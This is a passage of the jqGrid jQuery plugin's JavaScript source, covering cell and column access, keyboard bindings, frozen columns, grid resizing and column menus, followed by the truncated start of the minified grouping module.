if($t.p.frozenColumns && pos <= $t.p.frozenColCount) { var fcell = $(tcell).clone(); $("#"+rowid +" td", "#" + $.jgrid.jqID($t.p.id + "_frozen") ).eq( pos ).replaceWith(fcell); } } } } }); }, getCell : function(rowid, col, returnobject) { var ret = false, obj; if(typeof returnobject !== 'boolean') { returnobject = false; } this.each(function(){ var $t=this, pos=-1, ind; if(!$t.grid) {return;} if(isNaN(col)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', col, true); } else { pos = parseInt(col,10); } if(pos>=0) { ind = $($t).jqGrid('getGridRowById', rowid); if(ind) { obj = $("td",ind).eq( pos ); if( returnobject ) { ret = obj; } else { try { ret = $.unformat.call($t, obj ,{rowId:ind.id, colModel:$t.p.colModel[pos]},pos); } catch (e){ ret = $.jgrid.htmlDecode( obj.html() ); } if($t.p.treeGrid && ret && $t.p.ExpandColumn === col ) { ret = $( "<div>" + ret +"</div>").find("span").first().html(); } } } } }); return ret; }, getCol : function (col, obj, mathopr) { var ret = [], val, sum=0, min, max, v; if( typeof obj !== 'boolean') { obj = false; } if(mathopr === undefined) { mathopr = false; } var font = $.jgrid.getFont( this[0] ); this.each(function(){ var $t=this, pos=-1, cm = $t.p.colModel; if(!$t.grid) {return;} if(isNaN(col)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', col, true); } else { pos = parseInt(col,10); } if( pos >= 0 ) { var ln = $t.rows.length, i = 0, dlen = 0; if (ln && ln>0){ for(; i < ln; i++){ if($($t.rows[i]).hasClass('jqgrow') && $t.rows[i].id !== "norecs") { if(mathopr === 'maxwidth') { if(max === undefined) { max = cm[pos].autosize_headers ? cm[pos].canvas_width : 0; } max = Math.max( $.jgrid.getTextWidth($t.rows[i].cells[pos].outerText, font), max); continue; } try { val = $.unformat.call($t,$($t.rows[i].cells[pos]),{rowId:$t.rows[i].id, colModel:$t.p.colModel[pos]},pos); } catch (e) { val = $.jgrid.htmlDecode($t.rows[i].cells[pos].innerHTML); } if(mathopr) { v = $.jgrid.floatNum(val); //if(!isNaN(v)) { sum += v; if (max === undefined) {max = min = v;} min = Math.min(min, v); max = Math.max(max, v); dlen++; //} } else if(obj) { ret.push( {id:$t.rows[i].id,value:val} ); } else { ret.push( val ); } } } if(mathopr) { switch(mathopr.toLowerCase()){ case 'sum': ret =sum; break; case 'avg': ret = sum/dlen; break; case 'count': ret = dlen; break; case 'min': ret = min; break; case 'max': ret = max; break; case 'maxwidth': ret = max; } } } } }); return ret; }, clearGridData : function(clearfooter, clearheader) { return this.each(function(){ var $t = this; if(!$t.grid) {return;} if(typeof clearfooter !== 'boolean') { clearfooter = false; } if(typeof clearheader !== 'boolean') { clearheader = false; } if($t.p.deepempty) { $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr").slice( 1 ).remove(); } else { var trf = $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr").first()[0]; $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().empty().append(trf); } if($t.p.footerrow && clearfooter) { $(".ui-jqgrid-ftable td",$t.grid.sDiv).html(" "); } if($t.p.headerrow && clearheader) { $(".ui-jqgrid-hrtable td",$t.grid.hrDiv).html(" "); } $t.p.selrow = null; $t.p.selarrrow= []; $t.p.savedRow = []; $t.p.records = 0;$t.p.page=1;$t.p.lastpage=0;$t.p.reccount=0; $t.p.data = []; $t.p._index = {}; $t.p.groupingView._locgr = false; $t.updatepager(true,false); }); }, getInd : function(rowid,rc){ var ret =false,rw; this.each(function(){ rw = $(this).jqGrid('getGridRowById', rowid); if(rw) { ret = rc===true ? rw: rw.rowIndex; } }); return ret; }, bindKeys : function( settings ){ var o = $.extend({ onEnter: null, onSpace: null, onLeftKey: null, onRightKey: null, onSelectRow : true, scrollingRows : true },settings || {}); return this.each(function(){ var $t = this; if( !$('body').is('[role]') ){$('body').attr('role','application');} $t.p.scrollrows = o.scrollingRows; $($t).on("keydown", function(event){ var target = $($t).find('tr[tabindex=0]')[0], id, r, mind, expanded = $t.p.treeReader.expanded_field; //check for arrow keys if(target) { var previd = $t.p.selrow; mind = $t.p._index[$.jgrid.stripPref($t.p.idPrefix, target.id)]; if(event.keyCode === 37 || event.keyCode === 38 || event.keyCode === 39 || event.keyCode === 40){ // up key if(event.keyCode === 38 ){ r = target.previousSibling; id = ""; if(r && $(r).hasClass('jqgrow')) { if($(r).is(":hidden")) { while(r) { r = r.previousSibling; if(!$(r).is(":hidden") && $(r).hasClass('jqgrow')) {id = r.id;break;} } } else { id = r.id; } $($t).jqGrid('setSelection', id, o.onSelectRow, event); } $($t).triggerHandler("jqGridKeyUp", [id, previd, event]); if($.jgrid.isFunction(o.onUpKey)) { o.onUpKey.call($t, id, previd, event); } event.preventDefault(); } //if key is down arrow if(event.keyCode === 40){ r = target.nextSibling; id =""; if(r && $(r).hasClass('jqgrow')) { if($(r).is(":hidden")) { while(r) { r = r.nextSibling; if(!$(r).is(":hidden") && $(r).hasClass('jqgrow') ) {id = r.id;break;} } } else { id = r.id; } $($t).jqGrid('setSelection', id, o.onSelectRow, event); } $($t).triggerHandler("jqGridKeyDown", [id, previd, event]); if($.jgrid.isFunction(o.onDownKey)) { o.onDownKey.call($t, id, previd, event); } event.preventDefault(); } // left if(event.keyCode === 37 ){ if($t.p.treeGrid && $t.p.data[mind][expanded]) { $(target).find("div.treeclick").trigger('click'); } $($t).triggerHandler("jqGridKeyLeft", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onLeftKey)) { o.onLeftKey.call($t, $t.p.selrow, event); } } // right if(event.keyCode === 39 ){ if($t.p.treeGrid && !$t.p.data[mind][expanded]) { $(target).find("div.treeclick").trigger('click'); } $($t).triggerHandler("jqGridKeyRight", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onRightKey)) { o.onRightKey.call($t, $t.p.selrow, event); } } } //check if enter was pressed on a grid or treegrid node else if( event.keyCode === 13 ){ event.preventDefault(); $($t).triggerHandler("jqGridKeyEnter", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onEnter)) { o.onEnter.call($t, $t.p.selrow, event); } } else if(event.keyCode === 32) { $($t).triggerHandler("jqGridKeySpace", [$t.p.selrow, event]); if($.jgrid.isFunction(o.onSpace)) { o.onSpace.call($t, $t.p.selrow, event); } } } }).on('click', function(e) { if( !$(e.target).is("input, textarea, select") ) { $(e.target,$t.rows).closest("tr.jqgrow").focus(); } }); }); }, unbindKeys : function(){ return this.each(function(){ $(this).off('keydown'); }); }, getLocalRow : function (rowid) { var ret = false, ind; this.each(function(){ if(rowid !== undefined) { ind = this.p._index[$.jgrid.stripPref(this.p.idPrefix, rowid)]; if(ind >= 0 ) { ret = this.p.data[ind]; } } }); return ret; }, progressBar : function ( pr ) { pr = $.extend({ htmlcontent : "", method : "hide", loadtype : "disable" }, pr || {}); return this.each(function(){ var sh = pr.method==="show" ? true : false, loadDiv = $("#load_"+$.jgrid.jqID(this.p.id)), offsetParent, top, scrollTop = $(window).scrollTop(); if(pr.htmlcontent !== "") { loadDiv.html( pr.htmlcontent ); } switch(pr.loadtype) { case "disable": break; case "enable": loadDiv.toggle( sh ); break; case "block": $("#lui_"+$.jgrid.jqID(this.p.id)).css(sh ? {top: 0,left:0, height: $("#gbox_" + $.jgrid.jqID(this.p.id) ).height(), width:$("#gbox_" + $.jgrid.jqID(this.p.id)).width(), "z-index":10000, position:"absolute"} : {}).toggle( sh ); loadDiv.toggle( sh ); break; } if (loadDiv.is(':visible')) { offsetParent = loadDiv.offsetParent(); loadDiv.css('top', ''); if (loadDiv.offset().top < scrollTop) { top = Math.min( 10 + scrollTop - offsetParent.offset().top, offsetParent.height() - loadDiv.height() ); loadDiv.css('top', top + 'px'); } } }); }, getColProp : function(colname){ var $t = this[0]; if ( !$t.grid ) { return false; } return $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, false); }, setColProp : function(colname, obj){ //do not set width will not work return this.each(function(){ if ( this.grid ) { if ( $.isPlainObject( obj ) ) { var i = $.jgrid.getElemByAttrVal(this.p.colModel, 'name', colname, true); if ( i >= 0 ) { $.extend(true, this.p.colModel[i],obj); } } } }); }, sortGrid : function(colname,reload, sor){ return this.each(function(){ var $t=this,idx=-1,i, sobj=false; if ( !$t.grid ) { return;} if ( !colname ) { colname = $t.p.sortname; } for ( i=0;i<$t.p.colModel.length;i++ ) { if ( $t.p.colModel[i].index === colname || $t.p.colModel[i].name === colname ) { idx = i; if($t.p.frozenColumns === true && $t.p.colModel[i].frozen === true) { sobj = $t.grid.fhDiv.find("#" + $t.p.id + "_" + colname); } break; } } if ( idx !== -1 ){ var sort = $t.p.colModel[idx].sortable; if(!sobj) { sobj = $t.grid.headers[idx].el; } if ( typeof sort !== 'boolean' ) { sort = true; } if ( typeof reload !=='boolean' ) { reload = false; } if ( sort ) { $t.sortData("jqgh_"+$t.p.id+"_" + colname, idx, reload, sor, sobj); } } }); }, setGridState : function(state) { return this.each(function(){ if ( !this.grid ) {return;} var $t = this, open = $(this).jqGrid('getStyleUI',this.p.styleUI+".base",'icon_caption_open', true), close = $(this).jqGrid('getStyleUI',this.p.styleUI+".base",'icon_caption_close', true); if(state === 'hidden'){ $(".ui-jqgrid-bdiv, .ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); if($t.p.pager) {$($t.p.pager).slideUp("fast");} if($t.p.toppager) {$($t.p.toppager).slideUp("fast");} if($t.p.toolbar[0]===true) { if( $t.p.toolbar[1] === 'both') { $($t.grid.ubDiv).slideUp("fast"); } $($t.grid.uDiv).slideUp("fast"); } if($t.p.footerrow) { $(".ui-jqgrid-sdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); } if($t.p.headerrow) { $(".ui-jqgrid-hrdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideUp("fast"); } $(".ui-jqgrid-headlink",$t.grid.cDiv).removeClass( open ).addClass( close ); $t.p.gridstate = 'hidden'; } else if(state === 'visible') { $(".ui-jqgrid-hdiv, .ui-jqgrid-bdiv","#gview_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); if($t.p.pager) {$($t.p.pager).slideDown("fast");} if($t.p.toppager) {$($t.p.toppager).slideDown("fast");} if($t.p.toolbar[0]===true) { if( $t.p.toolbar[1] === 'both') { $($t.grid.ubDiv).slideDown("fast"); } $($t.grid.uDiv).slideDown("fast"); } if($t.p.footerrow) { $(".ui-jqgrid-sdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); } if($t.p.headerrow) { $(".ui-jqgrid-hrdiv","#gbox_"+$.jgrid.jqID($t.p.id)).slideDown("fast"); } $(".ui-jqgrid-headlink",$t.grid.cDiv).removeClass( close ).addClass( open ); $t.p.gridstate = 'visible'; } }); }, setFrozenColumns : function () { return this.each(function() { if ( !this.grid ) {return;} var $t = this, cm = $t.p.colModel,i=0, len = cm.length, hd= $($t).jqGrid('getStyleUI',$t.p.styleUI+".base",'headerDiv', true, 'ui-jqgrid-hdiv'), hover = $($t).jqGrid('getStyleUI',$t.p.styleUI+".common",'hover', true), borderbox = $("#gbox_"+$.jgrid.jqID($t.p.id)).css("box-sizing") === 'border-box', pixelfix = borderbox ? 1 : 0; // TODO treeGrid and grouping Support if($t.p.subGrid === true || $t.p.treeGrid === true || $t.p.cellEdit === true || /*$t.p.sortable ||*/ $t.p.scroll || $t.p.frozenColumns /* $t.p.grouping === true*/) { return; } // get the max index of frozen col $t.p.frozenColCount = -1; while(i<len) { // from left, no breaking frozen if(cm[i].frozen === true) { $t.p.frozenColCount = i; } else { break; } i++; } if( $t.p.frozenColCount >= 0) { var divhth = $(".ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).height(), bpos = $(".ui-jqgrid-bdiv","#gview_"+$.jgrid.jqID($t.p.id)).position(), bhpos = $(".ui-jqgrid-hdiv","#gview_"+$.jgrid.jqID($t.p.id)).position(); $t.grid.fhDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:'+bhpos.top+'px;height:'+(divhth - pixelfix)+'px;" class="frozen-div ' + hd +'"></div>'); $t.grid.fbDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:'+ bpos.top +'px;overflow-y:hidden" class="frozen-bdiv ui-jqgrid-bdiv"></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fhDiv); var htbl = $(".ui-jqgrid-htable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true), fthh = null; // groupheader support - only if useColSpanstyle is false $(htbl).width(1); $($t.grid.fhDiv).append(htbl); if( $($t).jqGrid('isGroupHeaderOn') ) { fthh = $("tr.jqg-third-row-header", $t.grid.hDiv).height(); $("tr.jqg-first-row-header, tr.jqg-third-row-header", htbl).each(function(){ $("th", this).slice( $t.p.frozenColCount + 1 ).remove(); }); var swapfroz = -1, fdel = -1, cs, rs; $("tr.jqg-second-row-header th", htbl).each(function(){ cs= parseInt($(this).attr("colspan"),10); rs= parseInt($(this).attr("rowspan"),10); if(rs) { swapfroz++; fdel++; } if(cs) { swapfroz = swapfroz+cs; fdel++; } if(swapfroz === $t.p.frozenColCount) { fdel = $t.p.frozenColCount; return false; } }); if(swapfroz !== $t.p.frozenColCount) { fdel = $t.p.frozenColCount; } $("tr.jqg-second-row-header", htbl).each(function(){ $("th", this).slice( fdel + 1 ).remove(); }); var testws = $("tr.jqg-second-row-header th", htbl).filter( function() { return $(this).css("display") !== "none"; }).first(); if($.jgrid.type(testws) === 'object' && testws.length && testws.css("visibility") !== 'hidden' && $.jgrid.trim(testws[0].outerText) === "") { testws.html(' '); } testws = $("tr.jqg-third-row-header th", htbl).filter( function() { return $(this).css("display") !== "none"; }).first(); if($.jgrid.type(testws) === 'object' && testws.length && testws.css("visibility") !== 'hidden' && $.jgrid.trim(testws[0].outerText) === "") { $("div",testws).prepend(' '); } } else { var maxdh=[]; $("#gview_"+$.jgrid.jqID($t.p.id) +" .ui-jqgrid-htable > thead >tr").each(function(i,n){ maxdh.push(parseInt($(this).height(),10)); }); $("thead >tr",htbl).each(function(){ $("th", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $("thead >tr",htbl).each(function(i){ if(i===0) { maxdh[i] -=1; } $(this).height(maxdh[i]); }); } //if( fthh ) { //$("tr.jqg-third-row-header th", htbl).eq(0).height(fthh); //} //$(htbl).width(1); if(!$.jgrid.msie()) { $(htbl).css("height","100%"); } // resizing stuff $($t.grid.fhDiv)//.append(htbl) .mousemove(function (e) { if($t.grid.resizing){ $t.grid.dragMove(e);return false; } }); if ($t.p.sortable && $.fn.sortable) { // disable sortable with mouse on frozen columns $($t.grid.fhDiv).find("tr.ui-jqgrid-labels th").addClass("sortable-disabled"); } if($t.p.headerrow) { $t.grid.fhrDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:0px;" class="frozen-hrdiv ui-jqgrid-hrdiv "></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fhrDiv); } if($t.p.footerrow) { $t.grid.fsDiv = $('<div style="position:absolute;' + ($t.p.direction === "rtl" ? 'right:0px;' : 'left:0px;') + 'top:0px;" class="frozen-sdiv ui-jqgrid-sdiv"></div>'); $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fsDiv); } // data stuff //TODO support for setRowData $("#gview_"+$.jgrid.jqID($t.p.id)).append($t.grid.fbDiv); $($t.grid.fbDiv).on('mousewheel DOMMouseScroll', function (e) { $t.grid.bDiv.scrollTop += e.type === "mousewheel" ? -e.originalEvent.wheelDelta / 10 : e.originalEvent.detail * 6; }); if($t.p.hoverrows === true) { $("#"+$.jgrid.jqID($t.p.id)).off('mouseover mouseout'); } //var hasscroll; $($t).on('jqGridAfterGridComplete.setFrozenColumns', function () { $("#"+$.jgrid.jqID($t.p.id)+"_frozen").remove(); // hasscroll = parseInt($($t.grid.bDiv)[0].scrollWidth,10) > parseInt($($t.grid.bDiv)[0].clientWidth,10); $($t.grid.fbDiv).height( $($t.grid.bDiv)[0].clientHeight ); //- (hasscroll ? 0 : $t.p.scrollOffset-3)); // find max height var mh = []; $("#"+$.jgrid.jqID($t.p.id) + " tr[role=row].jqgrow").each(function(){ mh.push( $(this).height() ); }); var btbl = $("#"+$.jgrid.jqID($t.p.id)).clone(true); $("tr[role=row]",btbl).each(function(){ $("td[role=gridcell]", this).slice( $t.p.frozenColCount + 1).remove(); }); $(btbl).width(1).attr("id",$t.p.id+"_frozen"); $($t.grid.fbDiv).append(btbl); // set the height $("tr[role=row].jqgrow",btbl).each(function(i, n){ $(this).height( mh[i] ); if( Math.abs($(this).height() - mh[i]) >= 0.3 ) { var tt = $("td:visible", this).first(); tt.height(mh[i] - Math.round(parseFloat(tt.css("border-bottom-width")) )); } }); if($t.rows[1] && $t.rows[1].id === 'norecs') { $("#norecs td", btbl).html(""); } $($t.grid.fbDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop; if($t.p.hoverrows === true) { $("tr.jqgrow", btbl).hover( function(){ $(this).addClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)).addClass( hover ); },function(){ $(this).removeClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)).removeClass( hover ); } ); $("tr.jqgrow", "#"+$.jgrid.jqID($t.p.id)).hover( function(){ $(this).addClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)+"_frozen").addClass( hover ); }, function(){ $(this).removeClass( hover ); $("#"+$.jgrid.jqID(this.id), "#"+$.jgrid.jqID($t.p.id)+"_frozen").removeClass( hover ); } ); } //btbl=null; if($t.p.headerrow) { var bhtop = $($t.grid.hrDiv).position(); $("table",$t.grid.fhrDiv).remove(); var hrtbl = $(".ui-jqgrid-hrtable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true); $("tr",hrtbl).each(function(){ $("td", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $(hrtbl).width(1); $($t.grid.fhrDiv).css("top", bhtop.top+"px").append(hrtbl); } if($t.p.footerrow) { var bttop = $($t.grid.sDiv).position(); $("table",$t.grid.fsDiv).remove(); var ftbl = $(".ui-jqgrid-ftable","#gview_"+$.jgrid.jqID($t.p.id)).clone(true); $("tr",ftbl).each(function(){ $("td", this).slice( $t.p.frozenColCount + 1 ).remove(); }); $(ftbl).width(1); $($t.grid.fsDiv).css("top", bttop.top+"px").append(ftbl); } }); if(!$t.grid.hDiv.loading) { $($t).triggerHandler("jqGridAfterGridComplete.setFrozenColumns"); } $t.p.frozenColumns = true; $($t).triggerHandler("onFrozenColumnsCall"); } }); }, destroyFrozenColumns : function() { return this.each(function() { if ( !this.grid ) {return;} if(this.p.frozenColumns === true) { var $t = this, hover = $($t).jqGrid('getStyleUI',$t.p.styleUI+".common",'hover', true); $($t.grid.fhDiv).remove(); $($t.grid.fbDiv).remove(); $t.grid.fhDiv = null; $t.grid.fbDiv=null; if($t.p.footerrow) { $($t.grid.fsDiv).remove(); $t.grid.fsDiv = null; } if($t.p.headerrow) { $($t.grid.fhrDiv).remove(); $t.grid.fhrDiv = null; } $(this).off('.setFrozenColumns'); if($t.p.hoverrows === true) { var ptr; $("#"+$.jgrid.jqID($t.p.id)).on({ 'mouseover': function(e) { ptr = $(e.target).closest("tr.jqgrow"); if($(ptr).attr("class") !== "ui-subgrid") { $(ptr).addClass( hover ); } }, 'mouseout' : function(e) { ptr = $(e.target).closest("tr.jqgrow"); $(ptr).removeClass( hover ); } }); } this.p.frozenColumns = false; this.p.frozenColCount = -1; } }); }, resizeColumn : function ( iCol, newWidth, forceresize, setfrozen ) { return this.each(function() { var tgrid = this.grid, pr = this.p, cm = pr.colModel, i, cmLen = cm.length, diff, diffnv; if( typeof forceresize !== 'boolean' ) { forceresize = false; } if( typeof setfrozen !== 'boolean' ) { setfrozen = true; } if(typeof iCol === "string" ) { for(i = 0; i < cmLen; i++) { if(cm[i].name === iCol) { iCol = i; break; } } } else { iCol = parseInt( iCol, 10 ); } if( !cm[iCol].resizable && !forceresize || cm[iCol].hidden) { return; } newWidth = parseFloat( newWidth ); // filters if(typeof iCol !== "number" || iCol < 0 || iCol > cm.length-1 || typeof newWidth !== "number" ) { return; } if( newWidth < pr.minColWidth ) { newWidth = pr.minColWidth; } if( pr.forceFit ) { pr.nv = 0; for (i = iCol+1; i < cmLen; i++){ if(cm[i].hidden !== true ) { pr.nv = i - iCol; break; } } } // use resize stuff tgrid.resizing = {idx : iCol }; diff = newWidth - tgrid.headers[iCol].width; if(pr.forceFit) { diffnv = tgrid.headers[ iCol + pr.nv].width - diff; if(diffnv < pr.minColWidth) { return; } tgrid.headers[ iCol + pr.nv].newWidth = tgrid.headers[ iCol + pr.nv].width - diff; } tgrid.newWidth = pr.tblwidth + diff; tgrid.headers[ iCol ].newWidth = newWidth; tgrid.dragEnd( false, setfrozen ); }); }, getStyleUI : function( styleui, classui, notclasstag, gridclass) { var ret = "", q = ""; try { var stylemod = styleui.split("."); if(!notclasstag) { ret = "class="; q = "\""; } if( $.jgrid.isNull(gridclass) ) { gridclass = ""; } switch(stylemod.length) { case 1 : ret += q + $.jgrid.trim(gridclass + " " + $.jgrid.styleUI[stylemod[0]][classui] + q); break; case 2 : ret += q + $.jgrid.trim(gridclass + " " + $.jgrid.styleUI[stylemod[0]][stylemod[1]][classui] + q); } } catch (cls) { ret = ""; } return ret; }, resizeGrid : function (timeout, width, height, refreshfrozen) { return this.each(function(){ var $t = this, frozen = false; if(timeout === undefined) { timeout = 500; } if( typeof width !== 'boolean' ) { width = true; } if( typeof height !== 'boolean' ) { height = true; } if( typeof refreshfrozen !== 'boolean' ) { refreshfrozen = true; } setTimeout(function(){ try { if($t.p.frozenColumns && refreshfrozen) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid("destroyFrozenColumns"); frozen = true; } if(width) { var winwidth = $(window).width(), parentwidth = $("#gbox_"+$.jgrid.jqID($t.p.id)).parent().width(), ww = $t.p.width; if( (winwidth-parentwidth) > 3 ) { ww = parentwidth; } else { ww = winwidth; } if( $($t.grid.bDiv).css("max-height") && ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height()) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', ww+$t.p.scrollOffset-2, false, false ); } else { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', ww, $t.p.shrinkToFit, false ); } } if( !($t.p.height === 'auto' || $t.p.height === '100%') && height) { var wh = $t.p.height, bstw = $t.p.styleUI.search('Bootstrap') !== -1 && !isNaN($t.p.height) ? 2 : 0, winheight = $(window).height(), parentheight = $("#gbox_"+$.jgrid.jqID($t.p.id)).parent().height(); if( (winheight-parentheight) > 3 ) { wh = parentheight; } else { wh = winheight; } $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridHeight', wh - bstw, true, false); } if($t.p.frozenRows) { $($t).trigger('jqGridAfterGridComplete.setFrozenRows'); } if(frozen) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid("setFrozenColumns"); } } catch(e){} }, timeout); }); }, colMenuAdd : function (colname, options ) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].colmenu; options = $.extend({ title: 'Item', icon : styles.icon_new_item, funcname: null, position : "last", closeOnRun : true, exclude : "", id : null, items : [] }, options ||{}); return this.each(function(){ options.colname = colname === 'all' ? "_all_" : colname; var $t = this; options.id = $.jgrid.isNull(options.id, true) ? $.jgrid.randId(): options.id; $t.p.colMenuCustom[options.id] = options; }); }, colMenuDelete : function ( id ) { return this.each(function(){ if(this.p.colMenuCustom.hasOwnProperty( id )) { delete this.p.colMenuCustom[ id ]; } }); }, menubarAdd : function( items ) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].common, item, str; return this.each(function(){ var $t = this; if( Array.isArray(items)) { for(var i = 0; i < items.length; i++) { item = items[i]; // icon, title, position, id, click if(!item.id ) { item.id = $.jgrid.randId(); } var ico = ''; if( item.icon) { ico = '<span class="'+styles.icon_base+' ' + item.icon+'"></span>'; } if(!item.position) { item.position = 'last'; } if(!item.closeoncall) { item.closeoncall = true; } if(item.divider) { str = '<li class="ui-menu-item divider" role="separator"></li>'; item.cick = null; } else { str = '<li class="ui-menu-item" role="presentation"><a id="'+ item.id+'" class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table"><tr><td class="menu_icon">'+ico+'</td><td class="menu_text">'+item.title+'</td></tr></table></a></li>'; } if(item.position === 'last') { $("#"+this.p.id+"_menubar").append(str); } else { $("#"+this.p.id+"_menubar").prepend(str); } } } $("li a", "#"+this.p.id+"_menubar").each(function(i,n){ $(items).each(function(j,f){ if(f.id === n.id && $.jgrid.isFunction(f.click)) { $(n).on('click', function(e){ f.click.call($t, e); }); return false; } }); $(this).hover( function(e){ $(this).addClass(styles.hover); e.stopPropagation(); }, function(e){ $(this).removeClass(styles.hover);} ); }); }); }, menubarDelete : function( itemid ) { return this.each(function(){ $("#"+itemid, "#"+this.p.id+"_menubar").remove(); }); }, addColSearchMenu : function() { return this.each(function(){ var $t = this; $($t).colMenuAdd('sc',{ title: 'Reset', position : "first", id :"reset", funcname : function() { $("input[id^='jqs_']", "#"+this.p.id ).each(function(i){ $(this).val(""); }); $(this)[0].p._results ={}; $(this).jqGrid('showCol', this.p._avc); } }); $($t).colMenuAdd('sc',{ separator : true, id:"groupOp" }); $($t).colMenuAdd('sc',{ separator : true, id:"operOp" }); $($t).colMenuAdd('sc',{ //title: 'Close', separator : true, id :"close", funcname : function() { return true; } }); $($t).on("jqGridcolMenuBeforeProcess.custom", function(t, p){ if(p.module === 'custom' && p.column === 'sc') { var regional = $.jgrid.getRegional(this, "search"), tstl, i, selected, sopt = this.p.searchColOptions, getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = this.p.styleUI + ".base"; if(p.action.id === "reset") { p.action.title = regional.Reset || 'Reset'; p.action.icon = getstyle(this.p.styleUI + ".colmenu", 'icon_reset', true, ''); } if(p.action.id === "close") { p.action.title = regional.Close || 'Close'; p.action.icon = getstyle(this.p.styleUI + ".colmenu", 'icon_close', true, ''); } if(p.action.id === "groupOp") { tstl = getstyle(stylemodule, 'searchSelect', false, 'search-col-input'); p.action.title = ""+(regional.Operand || "Operand: ")+""; p.action.title +='<select data-grid-id='+this.p.id+' id="opselect" '+ tstl+'>'; tstl = getstyle(this.p.styleUI + ".colmenu", 'icon_group_op', true, ''); p.action.icon = tstl; for (i = 0;i< regional.groupOps.length; i++) { selected = sopt.searchOp === regional.groupOps[i].op ? "selected" : ""; p.action.title += "<option value=\"" + regional.groupOps[i].op +"\" " + selected+">"+regional.groupOps[i].text+"</option>"; } p.action.title += "</select>"; setTimeout(function() { $("#opselect").on('change', function(){ var gid =$("#"+ $(this).attr('data-grid-id'))[0]; gid.p.searchColOptions.searchOp = $(this).val(); $.jgrid.myfunc(gid.p.id); //$("#column_menu").remove(); }); }, 200); } if(p.action.id === "operOp") { tstl = getstyle(stylemodule, 'searchSelect', false, 'search-col-input'); p.action.title = regional.Operation || "Oper : "; p.action.title += '<select data-grid-id='+this.p.id+' id="selectoper" '+ tstl+'>'; tstl = getstyle(this.p.styleUI + ".colmenu", 'icon_oper_op', true, ''); p.action.icon = tstl; for (i = 0;i < regional.odata.length; i++) { selected = sopt.operand === regional.odata[i].oper ? "selected" : ""; if(sopt.aOperands.includes( regional.odata[i].oper )) { p.action.title += "<option value=\"" + regional.odata[i].oper +"\" " + selected+">"+regional.odata[i].text+"</option>"; } } p.action.title += "</select>"; setTimeout(function() { $("#selectoper").on('change', function(){ var gid =$("#"+ $(this).attr('data-grid-id'))[0]; gid.p.searchColOptions.operand = $(this).val(); $.jgrid.myfunc(gid.p.id); //$("#column_menu").remove(); }); }, 200); } } }); }); }, disableColMenu : function( colname ) { return this.each(function (){ $(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+colname+" > .colmenu").css("display","none"); }); }, enableColMenu : function( colname ) { return this.each(function (){ $(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+colname+" > .colmenu").css("display","inline"); }); } }); //module end })); minified/grid.grouping.js000064400000040774151677266200011474 0ustar00!function(r){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],r):r(jQuery)}(function(N){"use strict";N.jgrid.extend({groupingInit:function(){return this.each(function(){N.extend(this.p.groupingView,{groupField:[],groupOrder:[],groupText:[],groupColumnShow:[],groupSummary:[],showSummaryOnHide:!1,sortitems:[],sortnames:[],summary:[],summaryval:[],plusicon:"",minusicon:"",displayField:[],groupSummaryPos:[],formatDisplayField:[],_locgr:!1},!0)})},groupingSetup:function(){return this.each(function(){var r,e,i,t=this,o=t.p.colModel,n=t.p.groupingView,s=N.jgrid.styleUI[t.p.styleUI||"jQueryUI"].grouping;if(null===n||"object"!=typeof n&&!N.jgrid.isFunction(n))t.p.grouping=!1;else if(n.plusicon||(n.plusicon=s.icon_plus),n.minusicon||(n.minusicon=s.icon_minus),n.groupField.length){for(void 0===n.visibiltyOnNextGrouping&&(n.visibiltyOnNextGrouping=[]),n.lastvalues=[],n._locgr||(n.groups=[]),n.counters=[],r=0;r<n.groupField.length;r++)n.groupOrder[r]||(n.groupOrder[r]="asc"),n.groupText[r]||(n.groupText[r]="{0}"),"boolean"!=typeof n.groupColumnShow[r]&&(n.groupColumnShow[r]=!0),"boolean"!=typeof 